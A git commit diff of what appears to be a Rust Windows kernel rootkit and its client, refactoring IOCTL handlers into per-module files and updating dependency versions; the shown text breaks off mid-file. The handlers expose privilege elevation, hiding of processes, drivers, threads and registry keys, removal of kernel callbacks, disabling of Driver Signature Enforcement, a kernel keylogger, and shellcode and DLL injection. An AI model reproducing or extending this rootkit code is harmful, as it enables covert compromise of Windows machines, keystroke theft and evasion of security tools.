Complete refactoring of driver and client code to improve readability

This commit is contained in:
João Victor
2024-08-31 00:35:00 -03:00
parent fe583dab44
commit 351a7d5fea
29 changed files with 506 additions and 291 deletions

0
.gitignore vendored Normal file
View File

View File

@@ -177,7 +177,7 @@ pub enum InjectionCommands {
/// Type shellcode
#[arg(long, short, required = true)]
type_: Injection
}
},
}
/// Enum representing the subcommands for process operations.
@@ -300,7 +300,7 @@ pub enum PS_PROTECTED_TYPE {
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Injection {
Thread = 0,
APC = 1
APC = 1,
}
/// Enum representing the signers for process protection.

4
driver/.gitignore vendored
View File

@@ -1,2 +1,4 @@
/target
/src/backup
/src/backup
/src/misc/memory.rs
/src/misc/etw.rs

97
driver/Cargo.lock generated
View File

@@ -31,9 +31,9 @@ checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f"
[[package]]
name = "anstream"
version = "0.6.14"
version = "0.6.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
checksum = "64e15c1ab1f89faffbf04a634d5e1962e9074f2741eef6d97f3c4e322426d526"
dependencies = [
"anstyle",
"anstyle-parse",
@@ -46,33 +46,33 @@ dependencies = [
[[package]]
name = "anstyle"
version = "1.0.7"
version = "1.0.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
checksum = "1bec1de6f59aedf83baf9ff929c98f2ad654b97c9510f4e70cf6f661d49fd5b1"
[[package]]
name = "anstyle-parse"
version = "0.2.4"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
checksum = "eb47de1e80c2b463c735db5b217a0ddc39d612e7ac9e2e96a5aed1f57616c1cb"
dependencies = [
"utf8parse",
]
[[package]]
name = "anstyle-query"
version = "1.1.0"
version = "1.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
checksum = "6d36fc52c7f6c869915e99412912f22093507da8d9e942ceaf66fe4b7c14422a"
dependencies = [
"windows-sys",
]
[[package]]
name = "anstyle-wincon"
version = "3.0.3"
version = "3.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
checksum = "5bf74e1b6e971609db8ca7a9ce79fd5768ab6ae46441c572e46cf596f59e57f8"
dependencies = [
"anstyle",
"windows-sys",
@@ -127,9 +127,9 @@ checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
[[package]]
name = "camino"
version = "1.1.7"
version = "1.1.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e0ec6b951b160caa93cc0c7b209e5a3bff7aae9062213451ac99493cd844c239"
checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3"
dependencies = [
"serde",
]
@@ -185,9 +185,9 @@ dependencies = [
[[package]]
name = "clap"
version = "4.5.9"
version = "4.5.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "64acc1846d54c1fe936a78dc189c34e28d3f5afc348403f28ecf53660b9b8462"
checksum = "ed6719fffa43d0d87e5fd8caeab59be1554fb028cd30edc88fc4369b17971019"
dependencies = [
"clap_builder",
"clap_derive",
@@ -195,9 +195,9 @@ dependencies = [
[[package]]
name = "clap-cargo"
version = "0.14.0"
version = "0.14.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f6e2fd20c8f8c7cc395f69a86a61eb9d93e1de8fadc00338508cde2ffc656388"
checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e"
dependencies = [
"anstyle",
"clap",
@@ -205,9 +205,9 @@ dependencies = [
[[package]]
name = "clap_builder"
version = "4.5.9"
version = "4.5.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6fb8393d67ba2e7bfaf28a23458e4e2b543cc73a99595511eb207fdb8aede942"
checksum = "216aec2b177652e3846684cbfe25c9964d18ec45234f0f5da5157b207ed1aab6"
dependencies = [
"anstream",
"anstyle",
@@ -217,9 +217,9 @@ dependencies = [
[[package]]
name = "clap_derive"
version = "4.5.8"
version = "4.5.13"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2bac35c6dafb060fd4d275d9a4ffae97917c13a6327903a8be2153cd964f7085"
checksum = "501d359d5f3dcaf6ecdeee48833ae73ec6e42723a1e52419c79abf9507eec0a0"
dependencies = [
"heck",
"proc-macro2",
@@ -229,15 +229,15 @@ dependencies = [
[[package]]
name = "clap_lex"
version = "0.7.1"
version = "0.7.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97"
[[package]]
name = "colorchoice"
version = "1.0.1"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0"
[[package]]
name = "either"
@@ -288,9 +288,9 @@ dependencies = [
[[package]]
name = "is_terminal_polyfill"
version = "1.70.0"
version = "1.70.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
[[package]]
name = "itertools"
@@ -334,15 +334,15 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
[[package]]
name = "libc"
version = "0.2.155"
version = "0.2.158"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
[[package]]
name = "libloading"
version = "0.8.4"
version = "0.8.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e310b3a6b5907f99202fcdb4960ff45b93735d7c7d96b760fcff8db2dc0e103d"
checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4"
dependencies = [
"cfg-if",
"windows-targets",
@@ -446,9 +446,9 @@ checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
[[package]]
name = "prettyplease"
version = "0.2.20"
version = "0.2.22"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5f12335488a2f3b0a83b14edad48dca9879ce89b2edd10e80237e4e852dd645e"
checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba"
dependencies = [
"proc-macro2",
"syn",
@@ -465,18 +465,18 @@ dependencies = [
[[package]]
name = "quote"
version = "1.0.36"
version = "1.0.37"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af"
dependencies = [
"proc-macro2",
]
[[package]]
name = "regex"
version = "1.10.5"
version = "1.10.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f"
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
dependencies = [
"aho-corasick",
"memchr",
@@ -524,9 +524,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
[[package]]
name = "rustix"
version = "0.38.34"
version = "0.38.35"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f"
checksum = "a85d50532239da68e9addb745ba38ff4612a242c1c7ceea689c4bc7c2f43c36f"
dependencies = [
"bitflags",
"errno",
@@ -564,18 +564,18 @@ dependencies = [
[[package]]
name = "serde"
version = "1.0.204"
version = "1.0.209"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bc76f558e0cbb2a839d37354c575f1dc3fdc6546b5be373ba43d95f231bf7c12"
checksum = "99fce0ffe7310761ca6bf9faf5115afbc19688edd00171d81b1bb1b116c63e09"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.204"
version = "1.0.209"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e0cd7e117be63d3c3678776753929474f3b04a43a080c744d6b0ae2a8c28e222"
checksum = "a5831b979fd7b5439637af1752d535ff49f4860c0f341d1baeb6faf0f4242170"
dependencies = [
"proc-macro2",
"quote",
@@ -584,11 +584,12 @@ dependencies = [
[[package]]
name = "serde_json"
version = "1.0.120"
version = "1.0.127"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4e0d21c9a8cae1235ad58a00c11cb40d4b1e5c784f1ef2c537876ed6ffd8b7c5"
checksum = "8043c06d9f82bd7271361ed64f415fe5e12a77fdb52e573e7f06a516dea329ad"
dependencies = [
"itoa",
"memchr",
"ryu",
"serde",
]
@@ -660,9 +661,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
[[package]]
name = "syn"
version = "2.0.71"
version = "2.0.77"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b146dcf730474b4bcd16c311627b31ede9ab149045db4d6088b3becaea046462"
checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed"
dependencies = [
"proc-macro2",
"quote",
@@ -768,9 +769,9 @@ checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
[[package]]
name = "version_check"
version = "0.9.4"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "wdk"

View File

@@ -0,0 +1,45 @@
use alloc::boxed::Box;
use hashbrown::HashMap;
use shared::{
ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK},
structs::{CallbackInfoInput, CallbackInfoOutput}
};
use wdk_sys::{IO_STACK_LOCATION, IRP};
use crate::{handle_callback, utils::ioctls::IoctlHandler};
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
// Lists callbacks.
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
// ?
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
// Remove a callback.
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REMOVE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// ?
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_RESTORE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
}

View File

@@ -16,6 +16,7 @@ use {
};
mod find_callback;
pub mod ioctls;
/// Variable that stores callbacks that have been removed.
static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));

View File

@@ -0,0 +1,27 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
};
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Hiding a driver from loaded modules.
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// Enumerate active drivers on the system.
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_DRIVER");
let mut information = 0;
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
}

View File

@@ -18,6 +18,7 @@ use {
},
};
pub mod ioctls;
/// List of target drivers protected by a mutex.
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));

View File

@@ -172,6 +172,33 @@ pub mod types {
system_argument1: *mut PVOID,
system_argument2: *mut PVOID
);
pub type ZwSuspendThreadType = unsafe extern "system" fn (
ThreadHandle: HANDLE,
PreviousSuspendCount: *mut u32,
) -> NTSTATUS;
pub type ZwResumeThreadType = unsafe extern "system" fn(
ThreadHandle: HANDLE,
PreviousSuspendCount: *mut u32,
) -> NTSTATUS;
pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
DebugObjectHandle: *mut HANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
Flags: BOOLEAN,
) -> NTSTATUS;
pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
ProcessHandle: HANDLE,
DebugObjectHandle: HANDLE,
) -> NTSTATUS;
pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
ProcessHandle: HANDLE,
DebugObjectHandle: HANDLE,
) -> NTSTATUS;
}
pub mod enums {
@@ -246,4 +273,23 @@ extern "system" {
NewProtect: ULONG,
OldProtect: PULONG
) -> NTSTATUS;
pub fn ZwOpenThread(
handle: *mut HANDLE,
desired_access: ACCESS_MASK,
object_attributes: *mut OBJECT_ATTRIBUTES,
client_id: *mut CLIENT_ID
) -> NTSTATUS;
pub fn PsGetContextThread(
Thread: PETHREAD,
ThreadContext: *mut CONTEXT,
Mode: KPROCESSOR_MODE
) -> NTSTATUS;
pub fn PsSetContextThread(
Thread: PETHREAD,
ThreadContext: *mut CONTEXT,
Mode: KPROCESSOR_MODE
) -> NTSTATUS;
}

View File

@@ -0,0 +1,35 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler},
};
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Process injection using ZwCreateThreadEx.
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// APC Injection.
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// DLL injection using ZwCreateThreadEx.
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
}

View File

@@ -3,13 +3,11 @@
use {
crate::{
includes::{
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
types::{
enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
ZwCreateThreadExType, PKNORMAL_ROUTINE
},
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
}, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
},
process::Process,
process::Process,
utils::{
find_thread_alertable, find_zw_function,
get_module_peb, read_file, InitializeObjectAttributes
@@ -29,6 +27,7 @@ use {
};
mod callbacks;
pub mod ioctls;
/// Represents shellcode injection.
pub struct InjectionShellcode;

View File

@@ -10,7 +10,7 @@ use {
kernel_log::KernelLogger,
core::ptr::null_mut,
wdk_sys::{_MODE::KernelMode, ntddk::*, *},
keylogger::SHUTDOWN,
misc::keylogger::{SHUTDOWN, keylogger},
crate::utils::ioctls::IOCTL_MAP,
};
@@ -24,9 +24,9 @@ use {
#[cfg(not(feature = "mapper"))]
mod registry;
mod callbacks;
mod misc;
mod driver;
mod includes;
mod keylogger;
mod process;
mod thread;
mod module;
@@ -59,7 +59,7 @@ pub unsafe extern "system" fn driver_entry(
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
log::info!("DriverEntry Loaded");
#[cfg(feature = "mapper")] {
use includes::IoCreateDriver;
@@ -131,7 +131,7 @@ pub unsafe extern "system" fn shadow_entry(
null_mut(),
null_mut(),
null_mut(),
Some(keylogger::keylogger),
Some(keylogger),
null_mut(),
);
@@ -167,27 +167,6 @@ pub unsafe extern "system" fn shadow_entry(
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
/// # Supported IOCTLs
/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
/// - `IOCTL_REGISTRY_PROTECTION_VALUE`: Adding protection for registry key values.
/// - `IOCTL_REGISTRY_PROTECTION_KEY`: Added protection for registry keys
/// - `IOCTL_INJECTION_SHELLCODE_THREAD`: Process injection using ZwCreateThreadEx.
/// - `IOCTL_INJECTION_SHELLCODE_APC`: APC Injection.
/// - `IOCTL_INJECTION_DLL_THREAD`: DLL injection using ZwCreateThreadEx.
///
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;

27
driver/src/misc/ioctls.rs Normal file
View File

@@ -0,0 +1,27 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
wdk_sys::{IO_STACK_LOCATION, IRP},
super::keylogger::set_keylogger_state,
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}},
};
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for enabling/disabling DSE.
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENABLE_DSE");
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// Start / Stop Keylogger
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_KEYLOGGER");
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
}

4
driver/src/misc/mod.rs Normal file
View File

@@ -0,0 +1,4 @@
// pub mod etw;
pub mod keylogger;
pub mod ioctls;
// pub mod memory;

View File

@@ -0,0 +1,17 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
};
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_MODULE");
let mut information = 0;
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
}

View File

@@ -15,6 +15,8 @@ use {
winapi::shared::ntdef::LIST_ENTRY
};
pub mod ioctls;
/// Represents a module in the operating system.
pub struct Module;

View File

@@ -0,0 +1,77 @@
use {
core::mem::size_of,
alloc::boxed::Box,
hashbrown::HashMap,
shared::{
ioctls::*,
structs::{
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess
}
},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
};
#[cfg(not(feature = "mapper"))]
use {
crate::process::add_remove_process_toggle,
shared::structs::ProcessProtection,
};
pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Elevates the specified process to system privileges.
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ELEVATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
status
}) as IoctlHandler);
// Hide / Unhide the specified process.
ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
status
}) as IoctlHandler);
// Terminate process.
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_TERMINATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
status
}) as IoctlHandler);
// Modifying the PP / PPL of a process.
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_SIGNATURE_PROCESS");
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
status
}) as IoctlHandler);
// Lists the processes currently hidden and protect.
ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATION_PROCESS");
let mut information = 0;
let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
// If the feature is a mapper, these functionalities will not be added.
#[cfg(not(feature = "mapper"))] {
// Responsible for adding shutdown protection / memory dumping for a process.
ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_PROTECTION_PROCESS");
let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
status
}) as IoctlHandler);
}
}

View File

@@ -19,6 +19,7 @@ use {
#[cfg(not(feature = "mapper"))]
pub mod callback;
pub mod ioctls;
#[cfg(not(feature = "mapper"))]
pub use callback::*;

View File

@@ -0,0 +1,52 @@
#![cfg(not(feature = "mapper"))]
use {
crate::{
handle_registry,
registry::{Registry, utils::KeyListType}
},
shared::structs::TargetRegistry,
crate::utils::ioctls::IoctlHandler,
alloc::boxed::Box,
hashbrown::HashMap,
shared::ioctls::{
IOCTL_HIDE_UNHIDE_KEY, IOCTL_HIDE_UNHIDE_VALUE, IOCTL_REGISTRY_PROTECTION_KEY,
IOCTL_REGISTRY_PROTECTION_VALUE
},
wdk_sys::{IO_STACK_LOCATION, IRP}
};
pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Adding protection for registry key values.
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// Added protection for registry keys.
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// ?
ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// ?
ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
}

View File

@@ -12,6 +12,7 @@ use {
#[cfg(not(feature = "mapper"))]
pub mod callback;
pub mod utils;
pub mod ioctls;
#[cfg(not(feature = "mapper"))]
pub use callback::*;

View File

@@ -0,0 +1,45 @@
use {
core::mem::size_of,
alloc::boxed::Box,
hashbrown::HashMap,
shared::{
ioctls::{IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, IOCTL_PROTECTION_THREAD},
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}
},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{handle_thread, thread::Thread, utils::ioctls::IoctlHandler},
};
#[cfg(not(feature = "mapper"))]
use {
crate::thread::add_remove_thread_toggle,
shared::structs::ThreadProtection,
};
pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
